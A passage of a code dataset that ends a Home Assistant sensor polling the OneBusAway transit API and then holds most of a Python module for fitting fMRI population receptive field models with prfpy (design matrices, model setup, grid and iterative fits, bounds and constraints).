= {}\n self._state = STATE_UNKNOWN\n self._name = config.get(CONF_NAME)\n self._stop = config.get(CONF_STOP)\n self._route = config.get(CONF_ROUTE)\n self._api_key = config.get(CONF_API_KEY)\n\n async def async_update(self):\n \"\"\"Update the sensor.\"\"\"\n # TODO break out into client class\n api_url = (\n \"http://api.pugetsound.onebusaway.org/api/where/\"\n \"arrivals-and-departures-for-stop/{}.json?key={}\"\n )\n\n request_url = api_url.format(self._stop, self._api_key)\n _LOGGER.debug(\"Requesting %s\", request_url)\n\n session = self.hass.helpers.aiohttp_client.async_get_clientsession()\n response = await fetch_api(session, request_url)\n\n if response[\"code\"] != 200:\n _LOGGER.warn(\"Invalid response code from API: %s\", response[\"code\"])\n return\n\n departures = response[\"data\"][\"entry\"][\"arrivalsAndDepartures\"]\n\n for departure in departures:\n # Filter down to the configured route\n if departure[\"routeId\"] != self._route:\n continue\n\n # Ignore departures that passengers cannot use (maybe the bus is going back to the terminal)\n if not departure[\"departureEnabled\"]:\n continue\n\n # Prefer predicted times, but fall back to schedule as necessary\n if departure[\"predictedArrivalTime\"] > 0:\n self._state = from_epoch_ms(departure[\"predictedDepartureTime\"])\n else:\n self._state = from_epoch_ms(departure[\"scheduledDepartureTime\"])\n\n _LOGGER.debug(\"next departure is %s\", self._state)\n break\n\n @property\n def name(self):\n \"\"\"Return the name of the sensor.\"\"\"\n return self._name\n\n @property\n def state(self):\n \"\"\"Return the state of the sensor.\"\"\"\n return self._state\n\n @property\n def icon(self):\n \"\"\"Return the icon of the sensor.\"\"\"\n return ICON\n\n @property\n def device_state_attributes(self):\n \"\"\"Return the state attributes.\"\"\"\n return self.attr\n\n @property\n def device_class(self):\n \"\"\"Return the device class.\"\"\"\n return DEVICE_CLASS_TIMESTAMP\n","sub_path":"custom_components/onebusaway/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":3651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"219711995","text":"import numpy as np\nimport os\nimport os.path as op\nimport pandas as pd\nimport yaml\n\nfrom PIL import Image, ImageDraw\n\nimport cortex\n\nfrom scipy.optimize import LinearConstraint, NonlinearConstraint\n\nfrom FAM.utils import mri as mri_utils\nfrom FAM.processing import preproc_behdata\nfrom FAM.fitting.model import Model\n\nfrom prfpy.stimulus import PRFStimulus2D\nfrom prfpy.model import Iso2DGaussianModel, CSS_Iso2DGaussianModel, Norm_Iso2DGaussianModel, DoG_Iso2DGaussianModel\nfrom prfpy.fit import Iso2DGaussianFitter, CSS_Iso2DGaussianFitter, Norm_Iso2DGaussianFitter, DoG_Iso2DGaussianFitter\n\n\nclass pRF_model(Model):\n\n def __init__(self, MRIObj, outputdir = None, tasks = ['pRF', 'FA']):\n \n \"\"\"__init__\n constructor for class \n \n Parameters\n ----------\n MRIObj : MRIData object\n object from one of the classes defined in processing.load_exp_data\n \n \"\"\"\n\n # need to initialize parent class (Model), indicating output infos\n super().__init__(MRIObj = MRIObj, outputdir = outputdir, tasks = tasks)\n\n # if output dir not defined, then make it in derivatives\n if outputdir is None:\n self.outputdir = op.join(self.MRIObj.derivatives_pth, self.MRIObj.params['mri']['fitting']['pRF']['fit_folder'])\n else:\n self.outputdir = outputdir\n \n # reset osf value, because model assumes 10 (for FA)\n self.osf = 1\n \n \n def get_DM(self, participant, ses = 'ses-mean', ses_type = 'func', mask_DM = True, filename = None, \n osf = 1, res_scaling = .1):\n\n \"\"\"\n Get pRF Design matrix\n\n Parameters\n ----------\n participant : str\n participant number\n ses : str\n session number (default ses-mean)\n ses_type: str\n type of session (default func)\n mask_DM:\n if we want to mask design matrix based on behavior\n filename: str\n absolute path to np file where we stored design matrix, if none it will make one anew\n osf: int\n oversampling factor, if bigger than one it will return DM of timepoints * osf\n res_scaling: float\n spatial rescaling factor\n\n \"\"\" \n\n visual_dm = None\n save_dm = False\n\n if filename:\n if op.exists(filename):\n print('Loading {file}'.format(file = filename))\n visual_dm = np.load(filename)\n else:\n save_dm = True\n \n # make design matrix\n if visual_dm is None:\n\n print('Making DM for sub-{pp}'.format(pp = participant))\n \n ## get behavioral info \n mri_beh = preproc_behdata.PreprocBeh(self.MRIObj)\n\n ## get boolean array of moments where bar was on screen\n stim_on_screen = np.zeros(mri_beh.pRF_total_trials)\n stim_on_screen[mri_beh.pRF_bar_pass_trials] = 1\n\n ## if we want to mask DM, then load behav mask\n if mask_DM:\n mask_bool_df = mri_beh.get_pRF_mask_bool(ses_type = ses_type)\n # if we set a specific session, then select that one\n if ses == 'ses-mean':\n mask_bool = mask_bool_df[mask_bool_df['sj'] == 'sub-{sj}'.format(sj = participant)]['mask_bool'].values\n else:\n mask_bool = mask_bool_df[(mask_bool_df['ses'] == ses) & \\\n (mask_bool_df['sj'] == 'sub-{sj}'.format(sj = participant))]['mask_bool'].values\n dm_mask = np.prod(mask_bool, axis = 0)\n else:\n dm_mask = np.ones(mri_beh.pRF_total_trials)\n\n # multiply boolean array with mask\n stim_on_screen = stim_on_screen * dm_mask\n \n ## crop and shift if such was the case\n stim_on_screen = mri_utils.crop_shift_arr(stim_on_screen, \n crop_nr = self.crop_TRs_num['pRF'], \n shift = self.shift_TRs_num)\n # do same to bar pass direction str array\n condition_per_TR = mri_utils.crop_shift_arr(mri_beh.pRF_bar_pass_all, \n crop_nr = self.crop_TRs_num['pRF'], \n shift = self.shift_TRs_num)\n\n # all possible positions in pixels for for midpoint of\n # y position for vertical bar passes, \n ver_y = self.screen_res[1]*np.linspace(0,1, self.MRIObj.pRF_nr_TRs['U-D'])\n # x position for horizontal bar passes \n hor_x = self.screen_res[0]*np.linspace(0,1, self.MRIObj.pRF_nr_TRs['L-R'])\n\n # coordenates for bar pass, for PIL Image\n coordenates_bars = {'L-R': {'upLx': hor_x - 0.5 * self.bar_width['pRF'] * self.screen_res[0], 'upLy': np.repeat(self.screen_res[1], self.MRIObj.pRF_nr_TRs['L-R']),\n 'lowRx': hor_x + 0.5 * self.bar_width['pRF'] * self.screen_res[0], 'lowRy': np.repeat(0, self.MRIObj.pRF_nr_TRs['L-R'])},\n 'R-L': {'upLx': np.array(list(reversed(hor_x - 0.5 * self.bar_width['pRF'] * self.screen_res[0]))), 'upLy': np.repeat(self.screen_res[1], self.MRIObj.pRF_nr_TRs['R-L']),\n 'lowRx': np.array(list(reversed(hor_x+ 0.5 * self.bar_width['pRF'] * self.screen_res[0]))), 'lowRy': np.repeat(0, self.MRIObj.pRF_nr_TRs['R-L'])},\n 'U-D': {'upLx': np.repeat(0, self.MRIObj.pRF_nr_TRs['U-D']), 'upLy': ver_y+0.5 * self.bar_width['pRF'] * self.screen_res[1],\n 'lowRx': np.repeat(self.screen_res[0], self.MRIObj.pRF_nr_TRs['U-D']), 'lowRy': ver_y - 0.5 * self.bar_width['pRF'] * self.screen_res[1]},\n 'D-U': {'upLx': np.repeat(0, self.MRIObj.pRF_nr_TRs['D-U']), 'upLy': np.array(list(reversed(ver_y + 0.5 * self.bar_width['pRF'] * self.screen_res[1]))),\n 'lowRx': np.repeat(self.screen_res[0], self.MRIObj.pRF_nr_TRs['D-U']), 'lowRy': np.array(list(reversed(ver_y - 0.5 * self.bar_width['pRF'] * self.screen_res[1])))}\n }\n\n # save screen display for each TR (or if osf > 1 then for #TRs * osf)\n visual_dm_array = np.zeros((len(condition_per_TR) * osf, round(self.screen_res[0] * res_scaling), round(self.screen_res[1] * res_scaling)))\n i = 0\n\n for trl, bartype in enumerate(condition_per_TR): # loop over bar pass directions\n\n img = Image.new('RGB', tuple(self.screen_res)) # background image\n\n if bartype not in np.array(['empty','empty_long']): # if not empty screen\n\n #print(bartype)\n\n # set draw method for image\n draw = ImageDraw.Draw(img)\n # add bar, coordinates (upLx, upLy, lowRx, lowRy)\n draw.rectangle(tuple([coordenates_bars[bartype]['upLx'][i],coordenates_bars[bartype]['upLy'][i],\n coordenates_bars[bartype]['lowRx'][i],coordenates_bars[bartype]['lowRy'][i]]), \n fill = (255,255,255),\n outline = (255,255,255))\n\n # increment counter\n if trl < (len(condition_per_TR) - 1):\n i = i+1 if condition_per_TR[trl] == condition_per_TR[trl+1] else 0 \n \n ## save in array, and apply mask\n visual_dm_array[int(trl*osf):int(trl*osf + osf), ...] = np.array(img)[::round(1/res_scaling),::round(1/res_scaling),0][np.newaxis,...] * stim_on_screen[trl]\n\n # swap axis to have time in last axis [x,y,t]\n visual_dm = visual_dm_array.transpose([1,2,0])\n\n if save_dm:\n # save design matrix\n print('Making and saving {file}'.format(file = filename))\n np.save(filename, visual_dm) \n \n return mri_utils.normalize(visual_dm)\n\n\n def set_models(self, participant_list = [], mask_DM = True, combine_ses = True):\n\n \"\"\"\n define pRF models to be used for each participant in participant list\n \n Parameters\n ----------\n participant_list: list\n list with participant ID\n mask_DM: bool\n if we want to mask design matrix given behavioral performance\n combine_ses: bool\n if we want to combine runs from different sessions (relevant for fitting of average across runs)\n \"\"\" \n\n ## loop over participants\n\n ## if no participant list set, then run all\n if len(participant_list) == 0:\n participant_list = self.MRIObj.sj_num\n \n # empty dict where we'll store all participant models\n pp_models = {}\n \n for pp in participant_list:\n\n pp_models['sub-{sj}'.format(sj=pp)] = {}\n\n # if we're combining sessions\n if combine_ses:\n sessions = ['ses-mean']\n else:\n sessions = self.MRIObj.session['sub-{sj}'.format(sj=pp)]\n\n ## go over sessions (if its the case)\n # and save DM and models\n for ses in sessions:\n\n pp_models['sub-{sj}'.format(sj=pp)][ses] = {}\n\n visual_dm = self.get_DM(pp, ses = ses, ses_type = 'func', mask_DM = mask_DM, \n filename = None, osf = self.osf, res_scaling = self.res_scaling)\n\n # make stimulus object, which takes an input design matrix and sets up its real-world dimensions\n prf_stim = PRFStimulus2D(screen_size_cm = self.MRIObj.params['monitor']['height'],\n screen_distance_cm = self.MRIObj.params['monitor']['distance'],\n design_matrix = visual_dm,\n TR = self.MRIObj.TR)\n\n pp_models['sub-{sj}'.format(sj=pp)][ses]['prf_stim'] = prf_stim\n \n ## define models ##\n # GAUSS\n gauss_model = Iso2DGaussianModel(stimulus = prf_stim,\n filter_predictions = True,\n filter_type = self.MRIObj.params['mri']['filtering']['type']['pRF'],\n filter_params = {'highpass': self.MRIObj.params['mri']['filtering']['highpass'],\n 'add_mean': self.MRIObj.params['mri']['filtering']['add_mean'],\n 'window_length': self.MRIObj.params['mri']['filtering']['window_length'],\n 'polyorder': self.MRIObj.params['mri']['filtering']['polyorder']},\n osf = self.osf,\n hrf_onset = self.hrf_onset,\n )\n\n pp_models['sub-{sj}'.format(sj=pp)][ses]['gauss_model'] = gauss_model\n\n # CSS\n css_model = CSS_Iso2DGaussianModel(stimulus = prf_stim,\n filter_predictions = True,\n filter_type = self.MRIObj.params['mri']['filtering']['type']['pRF'],\n filter_params = {'highpass': self.MRIObj.params['mri']['filtering']['highpass'],\n 'add_mean': self.MRIObj.params['mri']['filtering']['add_mean'],\n 'window_length': self.MRIObj.params['mri']['filtering']['window_length'],\n 'polyorder': self.MRIObj.params['mri']['filtering']['polyorder']},\n osf = self.osf,\n hrf_onset = self.hrf_onset,\n )\n\n pp_models['sub-{sj}'.format(sj=pp)][ses]['css_model'] = css_model\n\n # DN \n dn_model = Norm_Iso2DGaussianModel(stimulus = prf_stim,\n filter_predictions = True,\n filter_type = self.MRIObj.params['mri']['filtering']['type']['pRF'],\n filter_params = {'highpass': self.MRIObj.params['mri']['filtering']['highpass'],\n 'add_mean': self.MRIObj.params['mri']['filtering']['add_mean'],\n 'window_length': self.MRIObj.params['mri']['filtering']['window_length'],\n 'polyorder': self.MRIObj.params['mri']['filtering']['polyorder']},\n osf = self.osf,\n hrf_onset = self.hrf_onset,\n )\n\n pp_models['sub-{sj}'.format(sj=pp)][ses]['dn_model'] = dn_model\n\n # DOG\n dog_model = DoG_Iso2DGaussianModel(stimulus = prf_stim,\n filter_predictions = True,\n filter_type = self.MRIObj.params['mri']['filtering']['type']['pRF'],\n filter_params = {'highpass': self.MRIObj.params['mri']['filtering']['highpass'],\n 'add_mean': self.MRIObj.params['mri']['filtering']['add_mean'],\n 'window_length': self.MRIObj.params['mri']['filtering']['window_length'],\n 'polyorder': self.MRIObj.params['mri']['filtering']['polyorder']},\n osf = self.osf,\n hrf_onset = self.hrf_onset,\n )\n \n pp_models['sub-{sj}'.format(sj=pp)][ses]['dog_model'] = dog_model\n\n\n return pp_models\n\n\n def fit_data(self, participant, pp_models, ses = 'ses-mean',\n run_type = 'mean', chunk_num = None, vertex = None, ROI = None,\n model2fit = 'gauss', file_ext = '_cropped_dc_psc.npy', \n outdir = None, save_estimates = False,\n xtol = 1e-3, ftol = 1e-4, n_jobs = 16):\n\n \"\"\"\n fit inputted pRF models to each participant in participant list\n \n Parameters\n ----------\n participant_list: list\n list with participant ID\n input_pth: str or None\n path to look for files, if None then will get them from derivatives/postfmriprep//sub-X folder\n run_type: string or int\n type of run to fit, mean (default), or if int will do single run fit\n file_ext: dict\n file extension, to select appropriate files\n mask_DM: bool\n if we want to mask design matrix given behavioral performance\n \"\"\" \n\n ## get list of files to load\n bold_filelist = self.get_bold_file_list(participant, task = 'pRF', ses = ses, file_ext = file_ext)\n \n ## Load data array\n data = self.get_data4fitting(bold_filelist, task = 'pRF', run_type = run_type, chunk_num = chunk_num, vertex = vertex, \n baseline_interval = 'empty_long', ses = ses, return_filenames = False)\n\n ## Set nan voxels to 0, to avoid issues when fitting\n masked_data = data.copy()\n masked_data[np.where(np.isnan(data[...,0]))[0]] = 0\n\n ## set output dir to save estimates\n if outdir is None:\n if 'loo_' in run_type:\n outdir = op.join(self.MRIObj.derivatives_pth, self.MRIObj.params['mri']['fitting']['pRF']['fit_folder'], self.MRIObj.sj_space, 'sub-{sj}'.format(sj = participant), run_type)\n else:\n outdir = op.join(self.MRIObj.derivatives_pth, self.MRIObj.params['mri']['fitting']['pRF']['fit_folder'], self.MRIObj.sj_space, 'sub-{sj}'.format(sj = participant), ses)\n \n os.makedirs(outdir, exist_ok = True)\n print('saving files in %s'%outdir)\n\n ## set base filename that will be used for estimates\n basefilename = 'sub-{sj}_task-pRF_acq-{acq}_runtype-{rt}'.format(sj = participant,\n acq = self.MRIObj.acq,\n rt = run_type)\n if chunk_num is not None:\n basefilename += '_chunk-{ch}'.format(ch = str(chunk_num).zfill(3))\n elif vertex is not None:\n basefilename += '_vertex-{ver}'.format(ver = str(vertex))\n elif ROI:\n basefilename += '_ROI-{roi}'.format(roi = str(ROI))\n \n basefilename += file_ext.replace('.npy', '.npz')\n\n ## set model parameters \n # relevant for grid and iterative fitting\n fit_params = self.get_fit_startparams(max_ecc_size = pp_models['sub-{sj}'.format(sj = participant)][ses]['prf_stim'].screen_size_degrees/2.0)\n\n ## set constraints\n # for now only changes minimizer used, but can also be useful to put contraints on dog and dn\n constraints = self.get_fit_constraints(method = self.optimizer['pRF'], ss_larger_than_centre = True, \n positive_centre_only = True, normalize_RFs = False)\n\n ## ACTUALLY FIT \n\n # always start with gauss of course\n grid_gauss_filename = op.join(outdir, 'grid_gauss', basefilename.replace('.npz', '_grid_gauss_estimates.npz'))\n it_gauss_filename = op.join(outdir, 'it_gauss', basefilename.replace('.npz', '_it_gauss_estimates.npz'))\n\n # if we want to fit hrf, change output name\n if self.fit_hrf:\n grid_gauss_filename = grid_gauss_filename.replace('_estimates.npz', '_HRF_estimates.npz')\n it_gauss_filename = it_gauss_filename.replace('_estimates.npz', '_HRF_estimates.npz')\n\n # already set other model name\n grid_model_filename = grid_gauss_filename.replace('gauss', model2fit)\n it_model_filename = it_gauss_filename.replace('gauss', model2fit)\n\n if not op.isfile(it_model_filename):\n\n print(\"Gauss model GRID fit\")\n gauss_fitter = Iso2DGaussianFitter(data = masked_data, \n model = pp_models['sub-{sj}'.format(sj = participant)][ses]['gauss_model'], \n n_jobs = n_jobs,\n fit_hrf = self.fit_hrf)\n\n gauss_fitter.grid_fit(ecc_grid = fit_params['gauss']['eccs'], \n polar_grid = fit_params['gauss']['polars'], \n size_grid = fit_params['gauss']['sizes'], \n fixed_grid_baseline = fit_params['gauss']['fixed_grid_baseline'],\n grid_bounds = fit_params['gauss']['grid_bounds'])\n\n # iterative fit\n print(\"Gauss model ITERATIVE fit\")\n\n # if self.fit_hrf:\n # # set hrf here, for now - grid gauss doesnt fit hrf params (need to raise issue in prfpy)\n # gauss_fitter.model.hrf_params = [1,1,0]\n\n gauss_fitter.iterative_fit(rsq_threshold = 0.05, \n verbose = True,\n bounds = fit_params['gauss']['bounds'],\n constraints = constraints['gauss'],\n #starting_params = gauss_fitter.gridsearch_params,\n xtol = xtol,\n ftol = ftol)\n\n # if we want to save estimates\n if save_estimates and not op.isfile(it_gauss_filename):\n # for grid\n print('saving %s'%grid_gauss_filename)\n self.save_pRF_model_estimates(grid_gauss_filename, gauss_fitter.gridsearch_params, \n model_type = 'gauss', grid = True) \n # for it\n print('saving %s'%it_gauss_filename)\n self.save_pRF_model_estimates(it_gauss_filename, gauss_fitter.iterative_search_params, \n model_type = 'gauss')\n\n if model2fit != 'gauss':\n\n print(\"{key} model GRID fit\".format(key = model2fit))\n \n if model2fit == 'css':\n\n fitter = CSS_Iso2DGaussianFitter(data = masked_data, \n model = pp_models['sub-{sj}'.format(sj = participant)][ses]['{key}_model'.format(key = model2fit)], \n n_jobs = n_jobs,\n fit_hrf = self.fit_hrf,\n previous_gaussian_fitter = gauss_fitter)\n\n fitter.grid_fit(fit_params['css']['n_grid'],\n fixed_grid_baseline = fit_params['css']['fixed_grid_baseline'],\n grid_bounds = fit_params['css']['grid_bounds'],\n rsq_threshold = 0.05)\n \n elif model2fit == 'dn':\n\n fitter = Norm_Iso2DGaussianFitter(data = masked_data, \n model = pp_models['sub-{sj}'.format(sj = participant)][ses]['{key}_model'.format(key = model2fit)], \n n_jobs = n_jobs,\n fit_hrf = self.fit_hrf,\n previous_gaussian_fitter = gauss_fitter)\n\n fitter.grid_fit(fit_params['dn']['surround_amplitude_grid'],\n fit_params['dn']['surround_size_grid'],\n fit_params['dn']['neural_baseline_grid'],\n fit_params['dn']['surround_baseline_grid'],\n fixed_grid_baseline = fit_params['dn']['fixed_grid_baseline'],\n grid_bounds = fit_params['dn']['grid_bounds'],\n rsq_threshold = 0.05)\n\n \n elif model2fit == 'dog':\n\n fitter = DoG_Iso2DGaussianFitter(data = masked_data, \n model = pp_models['sub-{sj}'.format(sj = participant)][ses]['{key}_model'.format(key = model2fit)], \n n_jobs = n_jobs,\n fit_hrf = self.fit_hrf,\n previous_gaussian_fitter = gauss_fitter)\n\n fitter.grid_fit(fit_params['dog']['surround_amplitude_grid'],\n fit_params['dog']['surround_size_grid'],\n fixed_grid_baseline = fit_params['dog']['fixed_grid_baseline'],\n grid_bounds = fit_params['dog']['grid_bounds'],\n rsq_threshold = 0.05)\n\n\n # iterative fit\n print(\"{key} model ITERATIVE fit\".format(key = model2fit))\n\n fitter.iterative_fit(rsq_threshold = 0.05, \n verbose = True,\n bounds = fit_params[model2fit]['bounds'],\n constraints = constraints[model2fit],\n #starting_params = fitter.gridsearch_params, \n xtol = xtol,\n ftol = ftol)\n\n # if we want to save estimates\n if save_estimates:\n # for grid\n print('saving %s'%grid_model_filename)\n self.save_pRF_model_estimates(grid_model_filename, fitter.gridsearch_params, \n model_type = model2fit, grid = True)\n # for it\n print('saving %s'%it_model_filename)\n self.save_pRF_model_estimates(it_model_filename, fitter.iterative_search_params, \n model_type = model2fit)\n\n if not save_estimates:\n # if we're not saving them, assume we are running on the spot\n # and want to get back the estimates\n estimates = {}\n estimates['grid_gauss'] = gauss_fitter.gridsearch_params\n estimates['it_gauss'] = gauss_fitter.iterative_search_params\n if model2fit != 'gauss':\n estimates['grid_{key}'.format(key = model2fit)] = fitter.gridsearch_params\n estimates['it_{key}'.format(key = model2fit)] = fitter.iterative_search_params\n\n return estimates, masked_data\n\n\n def get_fit_startparams(self, max_ecc_size = 6):\n\n \"\"\"\n Helper function that loads all fitting starting params\n and bounds into a dictionary\n\n Parameters\n ----------\n max_ecc_size: int/float\n max eccentricity (and size) to set grid array\n \"\"\"\n\n eps = 1e-1\n\n fitpar_dict = {'gauss': {}, 'css': {}, 'dn': {}, 'dog': {}}\n\n ######################### GAUSS #########################\n\n ## number of grid points \n fitpar_dict['gauss']['grid_nr'] = self.MRIObj.params['mri']['fitting']['pRF']['grid_nr']\n\n # size, ecc, polar angle\n fitpar_dict['gauss']['sizes'] = max_ecc_size * np.linspace(0.25, 1, fitpar_dict['gauss']['grid_nr'])**2\n fitpar_dict['gauss']['eccs'] = max_ecc_size * np.linspace(0.1, 1, fitpar_dict['gauss']['grid_nr'])**2\n fitpar_dict['gauss']['polars'] = np.linspace(0, 2*np.pi, fitpar_dict['gauss']['grid_nr'])\n\n ## bounds\n fitpar_dict['gauss']['bounds'] = [(-1.5 * (max_ecc_size * 2), 1.5 * (max_ecc_size * 2)), # x\n (-1.5 * (max_ecc_size * 2), 1.5 * (max_ecc_size * 2)), # y\n (eps, 1.5 * (max_ecc_size * 2)), # prf size\n (0, 1000), # prf amplitude\n (-500, 1000)] # bold baseline\n \n fitpar_dict['gauss']['fixed_grid_baseline'] = None\n\n # latest change in prfpy requires separate grid bound array\n fitpar_dict['gauss']['grid_bounds'] = [(0,1000)] #only prf amplitudes between 0 and 1000\n\n ######################### CSS #########################\n\n ## grid exponent parameter\n fitpar_dict['css']['n_grid'] = np.linspace(self.MRIObj.params['mri']['fitting']['pRF']['min_n'], \n self.MRIObj.params['mri']['fitting']['pRF']['max_n'], \n self.MRIObj.params['mri']['fitting']['pRF']['n_nr'], dtype='float32')\n\n ## bounds\n fitpar_dict['css']['bounds'] = [(-1.5 * (max_ecc_size * 2), 1.5 * (max_ecc_size * 2)), # x\n (-1.5 * (max_ecc_size * 2), 1.5 * (max_ecc_size * 2)), # y\n (eps, 1.5 * (max_ecc_size * 2)), # prf size\n (0, 1000), # prf amplitude\n (-500, 1000), # bold baseline\n (0.01, 1.5)] # CSS exponent\n\n fitpar_dict['css']['fixed_grid_baseline'] = None\n\n # latest change in prfpy requires separate grid bound array\n fitpar_dict['css']['grid_bounds'] = [(0,1000)] #only prf amplitudes between 0 and 1000\n\n ######################### DN #########################\n\n # Surround amplitude (Normalization parameter C)\n fitpar_dict['dn']['surround_amplitude_grid'] = np.array([0.1,0.2,0.4,0.7,1,3], dtype='float32') \n \n # Surround size (gauss sigma_2)\n fitpar_dict['dn']['surround_size_grid'] = np.array([3,5,8,12,18], dtype='float32')\n \n # Neural baseline (Normalization parameter B)\n fitpar_dict['dn']['neural_baseline_grid'] = np.array([0,1,10,100], dtype='float32')\n\n # Surround baseline (Normalization parameter D)\n fitpar_dict['dn']['surround_baseline_grid'] = np.array([0.1,1.0,10.0,100.0], dtype='float32')\n\n ## bounds\n fitpar_dict['dn']['bounds'] = [(-1.5 * (max_ecc_size * 2), 1.5 * (max_ecc_size * 2)), # x\n (-1.5 * (max_ecc_size * 2), 1.5 * (max_ecc_size * 2)), # y\n (eps, 1.5 * (max_ecc_size * 2)), # prf size\n (0, 1000), # prf amplitude\n (-500, 1000), # bold baseline\n (0, 1000), # surround amplitude\n (eps, 3 * (max_ecc_size * 2)), # surround size\n (0, 1000), # neural baseline\n (1e-6, 1000)] # surround baseline\n\n fitpar_dict['dn']['fixed_grid_baseline'] = None\n\n # latest change in prfpy requires separate grid bound array\n fitpar_dict['dn']['grid_bounds'] = [(0,1000),(0,1000)] #only prf amplitudes between 0 and 1000\n\n ######################### DOG #########################\n \n # amplitude for surround \n fitpar_dict['dog']['surround_amplitude_grid'] = np.array([0.05,0.1,0.25,0.5,0.75,1,2], dtype='float32')\n\n # size for surround\n fitpar_dict['dog']['surround_size_grid'] = np.array([3,5,8,11,14,17,20,23,26], dtype='float32')\n\n ## bounds\n fitpar_dict['dog']['bounds'] = [(-1.5 * (max_ecc_size * 2), 1.5 * (max_ecc_size * 2)), # x\n (-1.5 * (max_ecc_size * 2), 1.5 * (max_ecc_size * 2)), # y\n (eps, 1.5 * (max_ecc_size * 2)), # prf size\n (0, 1000), # prf amplitude\n (-500, 1000), # bold baseline\n (0, 1000), # surround amplitude\n (eps, 3 * (max_ecc_size * 2))] # surround size\n\n fitpar_dict['dog']['fixed_grid_baseline'] = None\n\n # latest change in prfpy requires separate grid bound array\n fitpar_dict['dog']['grid_bounds'] = [(0,1000),(0,1000)] #only prf amplitudes between 0 and 1000\n\n ### EXTRA ###\n\n # if we want to also fit hrf\n if self.fit_hrf:\n fitpar_dict['gauss']['bounds'] += [(0,10),(0,0)]\n fitpar_dict['css']['bounds'] += [(0,10),(0,0)]\n fitpar_dict['dn']['bounds'] += [(0,10),(0,0)]\n fitpar_dict['dog']['bounds'] += [(0,10),(0,0)]\n \n # if we want to keep the baseline fixed at 0\n if self.fix_bold_baseline['pRF']:\n fitpar_dict['gauss']['bounds'][4] = (0,0)\n fitpar_dict['gauss']['fixed_grid_baseline'] = 0 \n \n fitpar_dict['css']['bounds'][4] = (0,0)\n fitpar_dict['css']['fixed_grid_baseline'] = 0 \n\n fitpar_dict['dn']['bounds'][4] = (0,0)\n fitpar_dict['dn']['fixed_grid_baseline'] = 0 \n\n fitpar_dict['dog']['bounds'][4] = (0,0)\n fitpar_dict['dog']['fixed_grid_baseline'] = 0 \n\n \n return fitpar_dict\n\n \n def get_fit_constraints(self, method = 'L-BFGS-B', ss_larger_than_centre = True, \n positive_centre_only = False, normalize_RFs = False):\n\n \"\"\"\n Helper function sets constraints - which depend on minimizer used -\n for all model types and saves in dictionary\n\n Parameters\n ----------\n method: str\n minimizer that we want to use, ex: 'L-BFGS-B', 'trust-constr'\n\n \"\"\"\n\n constraints = {'gauss': {}, 'css': {}, 'dn': {}, 'dog': {}}\n\n for key in constraints.keys():\n\n if method == 'L-BFGS-B':\n \n constraints[key] = None\n \n elif method == 'trust-constr':\n \n constraints[key] = []\n \n if 'dn' in key:\n if ss_larger_than_centre:\n #enforcing surround size larger than prf size\n if self.fit_hrf:\n A_ssc_norm = np.array([[0,0,-1,0,0,0,1,0,0,0,0]])\n else:\n A_ssc_norm = np.array([[0,0,-1,0,0,0,1,0,0]])\n \n constraints[key].append(LinearConstraint(A_ssc_norm,\n lb=0,\n ub=np.inf))\n \n if positive_centre_only:\n #enforcing positive central amplitude in norm\n def positive_centre_prf_norm(x):\n if normalize_RFs:\n return (x[3]/(2*np.pi*x[2]**2)+x[7])/(x[5]/(2*np.pi*x[6]**2)+x[8]) - x[7]/x[8]\n else:\n return (x[3]+x[7])/(x[5]+x[8]) - x[7]/x[8]\n\n constraints[key].append(NonlinearConstraint(positive_centre_prf_norm,\n lb=0,\n ub=np.inf))\n elif 'dog' in key:\n if ss_larger_than_centre:\n #enforcing surround size larger than prf size\n if self.fit_hrf:\n A_ssc_dog = np.array([[0,0,-1,0,0,0,1,0,0]])\n else:\n A_ssc_dog = np.array([[0,0,-1,0,0,0,1]])\n \n constraints[key].append(LinearConstraint(A_ssc_dog,\n lb=0,\n ub=np.inf))\n \n if positive_centre_only:\n #enforcing positive central amplitude in DoG\n def positive_centre_prf_dog(x):\n if normalize_RFs:\n return x[3]/(2*np.pi*x[2]**2)-x[5]/(2*np.pi*x[6]**2)\n else:\n return x[3] - x[5]\n\n constraints[key].append(NonlinearConstraint(positive_centre_prf_dog,\n lb=0,\n ub=np.inf))\n\n return constraints\n\n \n def load_pRF_model_estimates(self, participant, ses = 'ses-mean', run_type = 'mean', model_name = None, iterative = True, fit_hrf = False):\n\n \"\"\"\n Helper function to load pRF model estimates\n when they already where fitted and save in out folder\n\n Parameters\n ----------\n participant: str\n participant ID\n ses: str\n session we are looking at\n run_type: str\n run type we fitted\n model_name: str or None\n model name to be loaded (if None defaults to class model)\n iterative: bool\n if we want to load iterative fitting results [default] or grid results\n\n \"\"\"\n\n # if model name to load not given, use the one set in the class\n if model_name:\n model_name = model_name\n else:\n model_name = self.model_type['pRF']\n\n # if we want to load iterative results, or grid (iterative = False)\n if iterative:\n est_folder = 'it_{model_name}'.format(model_name = model_name)\n else:\n est_folder = 'grid_{model_name}'.format(model_name = model_name)\n \n # if not doing mean across session, then set combine ses to false\n combine_ses = True if ses == 'ses-mean' else False \n\n # get participant models, which also will load \n # DM and mask it according to participants behavior\n pp_prf_models = self.set_models(participant_list = [participant], \n mask_DM = True, combine_ses = combine_ses)\n\n ## load estimates to make it easier to load later\n if 'loo_' in run_type:\n pRFdir = op.join(self.MRIObj.derivatives_pth, self.MRIObj.params['mri']['fitting']['pRF']['fit_folder'], self.MRIObj.sj_space, 'sub-{sj}'.format(sj = participant), run_type, est_folder)\n else:\n pRFdir = op.join(self.MRIObj.derivatives_pth, self.MRIObj.params['mri']['fitting']['pRF']['fit_folder'], self.MRIObj.sj_space, 'sub-{sj}'.format(sj = participant), ses, est_folder)\n\n\n pp_prf_est_dict = self.load_pRF_model_chunks(pRFdir, \n fit_model = model_name,\n basefilename = 'sub-{sj}_task-pRF_acq-{acq}_runtype-{rt}'.format(sj = participant,\n acq = self.MRIObj.acq,\n rt = run_type),\n fit_hrf = fit_hrf,\n iterative = iterative)\n\n return pp_prf_est_dict, pp_prf_models\n\n\n def mask_pRF_model_estimates(self, estimates, ROI = None, x_ecc_lim = [-6,6], y_ecc_lim = [-6,6],\n rsq_threshold = .1, pysub = 'hcp_999999', estimate_keys = ['x','y','size','betas','baseline','r2']):\n \n \"\"\" \n mask estimates, to be positive RF, within screen limits\n and for a certain ROI (if the case)\n\n Parameters\n ----------\n estimates : dict\n dict with estimates key-value pairs\n ROI : str\n roi to mask estimates (eg. 'V1', default None)\n estimate_keys: list/arr\n list or array of strings with keys of estimates to mask\n \n Outputs\n -------\n masked_estimates : npz \n numpy array of masked estimates\n \n \"\"\"\n \n # 